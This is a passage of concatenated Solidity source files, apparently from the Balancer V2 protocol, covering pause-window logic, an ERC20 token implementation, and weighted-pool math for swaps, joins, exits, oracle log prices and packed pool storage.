Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_MINT_TO_ZERO_ADDRESS); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _require(owner != address(0), Errors.ERC20_APPROVE_FROM_ZERO_ADDRESS); _require(spender != address(0), Errors.ERC20_APPROVE_TO_ZERO_ADDRESS); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/math/FixedPoint.sol"; import "../../lib/math/Math.sol"; import "../../lib/helpers/InputHelpers.sol"; /* solhint-disable private-vars-leading-underscore */ contract WeightedMath { using FixedPoint for uint256; // A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the // implementation of the power function, as these ratios are often exponents. uint256 internal constant _MIN_WEIGHT = 0.01e18; // Having a minimum normalized weight imposes a limit on the maximum number of tokens; // i.e., the largest possible pool is one where all tokens have exactly the minimum weight. uint256 internal constant _MAX_WEIGHTED_TOKENS = 100; // Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight // ratio). // Swap limits: amounts swapped may not be larger than this percentage of total balance. uint256 internal constant _MAX_IN_RATIO = 0.3e18; uint256 internal constant _MAX_OUT_RATIO = 0.3e18; // Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio. uint256 internal constant _MAX_INVARIANT_RATIO = 3e18; // Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio. uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18; // Invariant is used to collect protocol swap fees by comparing its value between two times. // So we can round always to the same direction. It is also used to initiate the BPT amount // and, because there is a minimum BPT, we round down the invariant. function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances) internal pure returns (uint256 invariant) { /********************************************************************************************** // invariant _____ // // wi = weight index i | | wi // // bi = balance index i | | bi ^ = i // // i = invariant // **********************************************************************************************/ invariant = FixedPoint.ONE; for (uint256 i = 0; i < normalizedWeights.length; i++) { invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i])); } _require(invariant > 0, Errors.ZERO_INVARIANT); } // Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the // current balances and weights. function _calcOutGivenIn( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountIn ) internal pure returns (uint256) { /********************************************************************************************** // outGivenIn // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bI \ (wI / wO) \ // // aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | // // wI = weightIn \ \ ( bI + aI ) / / // // wO = weightOut // **********************************************************************************************/ // Amount out, so we round down overall. // The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too). // Because bI / (bI + aI) <= 1, the exponent rounds down. // Cannot exceed maximum in ratio _require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO); uint256 denominator = balanceIn.add(amountIn); uint256 base = balanceIn.divUp(denominator); uint256 exponent = weightIn.divDown(weightOut); uint256 power = base.powUp(exponent); return balanceOut.mulDown(power.complement()); } // Computes how many tokens must be sent to a pool in order to take `amountOut`, given the // current balances and weights. function _calcInGivenOut( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountOut ) internal pure returns (uint256) { /********************************************************************************************** // inGivenOut // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bO \ (wO / wI) \ // // aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | // // wI = weightIn \ \ ( bO - aO ) / / // // wO = weightOut // **********************************************************************************************/ // Amount in, so we round up overall. // The multiplication rounds up, and the power rounds up (so the base rounds up too). // Because b0 / (b0 - a0) >= 1, the exponent rounds up. // Cannot exceed maximum out ratio _require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO); uint256 base = balanceOut.divUp(balanceOut.sub(amountOut)); uint256 exponent = weightOut.divUp(weightIn); uint256 power = base.powUp(exponent); // Because the base is larger than one (and the power rounds up), the power should always be larger than one, so // the following subtraction should never revert. uint256 ratio = power.sub(FixedPoint.ONE); return balanceIn.mulUp(ratio); } function _calcBptOutGivenExactTokensIn( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT out, so we round down overall. uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length); uint256 invariantRatioWithFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]); invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i])); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { uint256 amountInWithoutFee; if (balanceRatiosWithFee[i] > invariantRatioWithFees) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE)); uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount); amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFee))); } else { amountInWithoutFee = amountsIn[i]; } uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } if (invariantRatio >= FixedPoint.ONE) { return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE)); } else { return 0; } } function _calcTokenInGivenExactBptOut( uint256 balance, uint256 normalizedWeight, uint256 bptAmountOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /****************************************************************************************** // tokenInForExactBPTOut // // a = amountIn // // b = balance / / totalBPT + bptOut \ (1 / w) \ // // bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // ******************************************************************************************/ // Token in, so we round up overall. // Calculate the factor by which the invariant will increase after minting BPTAmountOut uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply); _require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN); // Calculate by how much the token balance has to increase to match the invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight)); uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE)); // We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees // accordingly. uint256 taxablePercentage = normalizedWeight.complement(); uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } function _calcBptInGivenExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT in, so we round up overall. uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length); uint256 invariantRatioWithoutFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]); invariantRatioWithoutFees = invariantRatioWithoutFees.add( balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i]) ); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it to // 'token out'. This results in slightly larger price impact. uint256 amountOutWithFee; if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement()); uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount); amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } else { amountOutWithFee = amountsOut[i]; } uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } return bptTotalSupply.mulUp(invariantRatio.complement()); } function _calcTokenOutGivenExactBptIn( uint256 balance, uint256 normalizedWeight, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /***************************************************************************************** // exactBPTInForTokenOut // // a = amountOut // // b = balance / / totalBPT - bptIn \ (1 / w) \ // // bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // *****************************************************************************************/ // Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base // rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down. // Calculate the factor by which the invariant will decrease after burning BPTAmountIn uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply); _require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT); // Calculate by how much the token balance has to decrease to match invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight)); // Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts. uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement()); // We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result // in swap fees. uint256 taxablePercentage = normalizedWeight.complement(); // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it // to 'token out'. This results in slightly larger price impact. Fees are rounded up. uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.mulDown(swapFee.complement())); } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 totalBPT ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = amountOut / bptIn \ // // b = balance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ totalBPT / // // bpt = totalBPT // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(totalBPT); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amountsOut[i] = balances[i].mulDown(bptRatio); } return amountsOut; } function _calcDueTokenProtocolSwapFeeAmount( uint256 balance, uint256 normalizedWeight, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) internal pure returns (uint256) { /********************************************************************************* /* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken)) *********************************************************************************/ if (currentInvariant <= previousInvariant) { // This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool // from entering a locked state in which joins and exits revert while computing accumulated swap fees. return 0; } // We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol // fees to the Vault. // Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the // base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down. uint256 base = previousInvariant.divUp(currentInvariant); uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight); // Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this // value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than // 1 / min exponent) the Pool will pay less in protocol fees than it should. base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT); uint256 power = base.powUp(exponent); uint256 tokenAccruedFees = balance.mulDown(power.complement()); return tokenAccruedFees.mulDown(protocolSwapFeePercentage); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/math//LogExpMath.sol"; import "../../lib/math/FixedPoint.sol"; import "../../lib/math/Math.sol"; import "../../lib/helpers/InputHelpers.sol"; /* solhint-disable private-vars-leading-underscore */ contract WeightedOracleMath { using FixedPoint for uint256; int256 private constant _LOG_COMPRESSION_FACTOR = 1e14; int256 private constant _HALF_LOG_COMPRESSION_FACTOR = 0.5e14; /** * @dev Calculates the logarithm of the spot price of token B in token A. * * The return value is a 4 decimal fixed-point number: use `_fromLowResLog` to recover the original value. */ function _calcLogSpotPrice( uint256 normalizedWeightA, uint256 balanceA, uint256 normalizedWeightB, uint256 balanceB ) internal pure returns (int256) { // Max balances are 2^112 and min weights are 0.01, so the division never overflows. // The rounding direction is irrelevant as we're about to introduce a much larger error when converting to log // space. We use `divUp` as it prevents the result from being zero, which would make the logarithm revert. A // result of zero is therefore only possible with zero balances, which are prevented via other means. uint256 spotPrice = balanceA.divUp(normalizedWeightA).divUp(balanceB.divUp(normalizedWeightB)); return _toLowResLog(spotPrice); } /** * @dev Calculates the price of BPT in a token. `logBptTotalSupply` should be the result of calling `_toLowResLog` * with the current BPT supply. * * The return value is a 4 decimal fixed-point number: use `_fromLowResLog` to recover the original value. */ function _calcLogBPTPrice( uint256 normalizedWeight, uint256 balance, int256 logBptTotalSupply ) internal pure returns (int256) { // BPT price = (balance / weight) / total supply // Since we already have ln(total supply) and want to compute ln(BPT price), we perform the computation in log // space directly: ln(BPT price) = ln(balance / weight) - ln(total supply) // The rounding direction is irrelevant as we're about to introduce a much larger error when converting to log // space. We use `divUp` as it prevents the result from being zero, which would make the logarithm revert. A // result of zero is therefore only possible with zero balances, which are prevented via other means. int256 logBalanceOverWeight = _toLowResLog(balance.divUp(normalizedWeight)); // Because we're subtracting two values in log space, this value has a larger error (+-0.0001 instead of // +-0.00005), which results in a final larger relative error of around 0.1%. return logBalanceOverWeight - logBptTotalSupply; } /** * @dev Returns the natural logarithm of `value`, dropping most of the decimal places to arrive at a value that, * when passed to `_fromLowResLog`, will have a maximum relative error of ~0.05% compared to `value`. * * Values returned from this function should not be mixed with other fixed-point values (as they have a different * number of digits), but can be added or subtracted. Use `_fromLowResLog` to undo this process and return to an * 18 decimal places fixed point value. * * Because so much precision is lost, the logarithmic values can be stored using much fewer bits than the original * value required. */ function _toLowResLog(uint256 value) internal pure returns (int256) { int256 ln = LogExpMath.ln(int256(value)); // Rounding division for signed numerator return (ln > 0 ? ln + _HALF_LOG_COMPRESSION_FACTOR : ln - _HALF_LOG_COMPRESSION_FACTOR) / _LOG_COMPRESSION_FACTOR; } /** * @dev Restores `value` from logarithmic space. `value` is expected to be the result of a call to `_toLowResLog`, * any other function that returns 4 decimals fixed point logarithms, or the sum of such values. */ function _fromLowResLog(int256 value) internal pure returns (uint256) { return uint256(LogExpMath.exp(value * _LOG_COMPRESSION_FACTOR)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/helpers/WordCodec.sol"; /** * @dev This module provides an interface to store seemingly unrelated pieces of information, in particular used by * Weighted Pools of 2 tokens with a price oracle. * * These pieces of information are all kept together in a single storage slot to reduce the number of storage reads. In * particular, we not only store configuration values (such as the swap fee percentage), but also cache * reduced-precision versions of the total BPT supply and invariant, which lets us not access nor compute these values * when producing oracle updates during a swap. * * Data is stored with the following structure: * * [ swap fee pct | oracle enabled | oracle index | oracle sample initial timestamp | log supply | log invariant ] * [ uint64 | bool | uint10 | uint31 | int22 | int22 ] * * Note that we are not using the most-significant 106 bits. */ library WeightedPool2TokensMiscData { using WordCodec for bytes32; using WordCodec for uint256; uint256 private constant _LOG_INVARIANT_OFFSET = 0; uint256 private constant _LOG_TOTAL_SUPPLY_OFFSET = 22; uint256 private constant _ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET = 44; uint256 private constant _ORACLE_INDEX_OFFSET = 75; uint256 private constant _ORACLE_ENABLED_OFFSET = 85; uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 86; /** * @dev Returns the cached logarithm of the invariant. */ function logInvariant(bytes32 data) internal pure returns (int256) { return data.decodeInt22(_LOG_INVARIANT_OFFSET); } /** * @dev Returns the cached logarithm of the total supply. */ function logTotalSupply(bytes32 data) internal pure returns (int256) { return data.decodeInt22(_LOG_TOTAL_SUPPLY_OFFSET); } /** * @dev Returns the timestamp of the creation of the oracle's latest sample. */ function oracleSampleCreationTimestamp(bytes32 data) internal pure returns (uint256) { return data.decodeUint31(_ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET); } /** * @dev Returns the index of the oracle's latest sample. */ function oracleIndex(bytes32 data) internal pure returns (uint256) { return data.decodeUint10(_ORACLE_INDEX_OFFSET); } /** * @dev Returns true if the oracle is enabled. */ function oracleEnabled(bytes32 data) internal pure returns (bool) { return data.decodeBool(_ORACLE_ENABLED_OFFSET); } /** * @dev Returns the swap fee percentage. */ function swapFeePercentage(bytes32 data) internal pure returns (uint256) { return data.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET); } /** * @dev Sets the logarithm of the invariant in `data`, returning the updated value. */ function setLogInvariant(bytes32 data, int256 _logInvariant) internal pure returns (bytes32) { return data.insertInt22(_logInvariant, _LOG_INVARIANT_OFFSET); } /** * @dev Sets the logarithm of the total supply in `data`, returning the updated value. */ function setLogTotalSupply(bytes32 data, int256 _logTotalSupply) internal pure returns (bytes32) { return data.insertInt22(_logTotalSupply, _LOG_TOTAL_SUPPLY_OFFSET); } /** * @dev Sets the timestamp of the creation of the oracle's latest sample in `data`, returning the updated value. */ function setOracleSampleCreationTimestamp(bytes32 data, uint256 _initialTimestamp) internal pure returns (bytes32) { return data.insertUint31(_initialTimestamp, _ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET); } /** * @dev Sets the index of the oracle's latest sample in `data`, returning the updated value. */ function setOracleIndex(bytes32 data, uint256 _oracleIndex) internal pure returns (bytes32) { return data.insertUint10(_oracleIndex, _ORACLE_INDEX_OFFSET); } /** * @dev Enables or disables the oracle in `data`, returning the updated value. */ function setOracleEnabled(bytes32 data, bool _oracleEnabled) internal pure returns (bytes32) { return data.insertBoolean(_oracleEnabled, _ORACLE_ENABLED_OFFSET); } /** * @dev Sets the swap fee percentage in `data`, returning the updated value. */ function setSwapFeePercentage(bytes32 data, uint256 _swapFeePercentage) internal pure returns (bytes32) { return data.insertUint64(_swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/openzeppelin/IERC20.sol"; import "./WeightedPool.sol"; library WeightedPoolUserDataHelpers { function joinKind(bytes memory self) internal pure returns (WeightedPool.JoinKind) { return abi.decode(self, (WeightedPool.JoinKind)); } function exitKind(bytes memory self) internal pure returns (WeightedPool.ExitKind) { return abi.decode(self, (WeightedPool.ExitKind)); } // Joins function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) { (, amountsIn) = abi.decode(self, (WeightedPool.JoinKind, uint256[])); } function exactTokensInForBptOut(bytes memory self) internal pure returns (uint256[] memory amountsIn, uint256 minBPTAmountOut) { (, amountsIn, minBPTAmountOut) = abi.decode(self, (WeightedPool.JoinKind, uint256[], uint256)); } function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) { (, bptAmountOut, tokenIndex) = abi.decode(self, (WeightedPool.JoinKind, uint256, uint256)); } // Exits function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) { (, bptAmountIn, tokenIndex) = abi.decode(self, (WeightedPool.ExitKind, uint256, uint256)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256)); } function bptInForExactTokensOut(bytes memory self) internal pure returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn) { (, amountsOut, maxBPTAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256[], uint256)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see 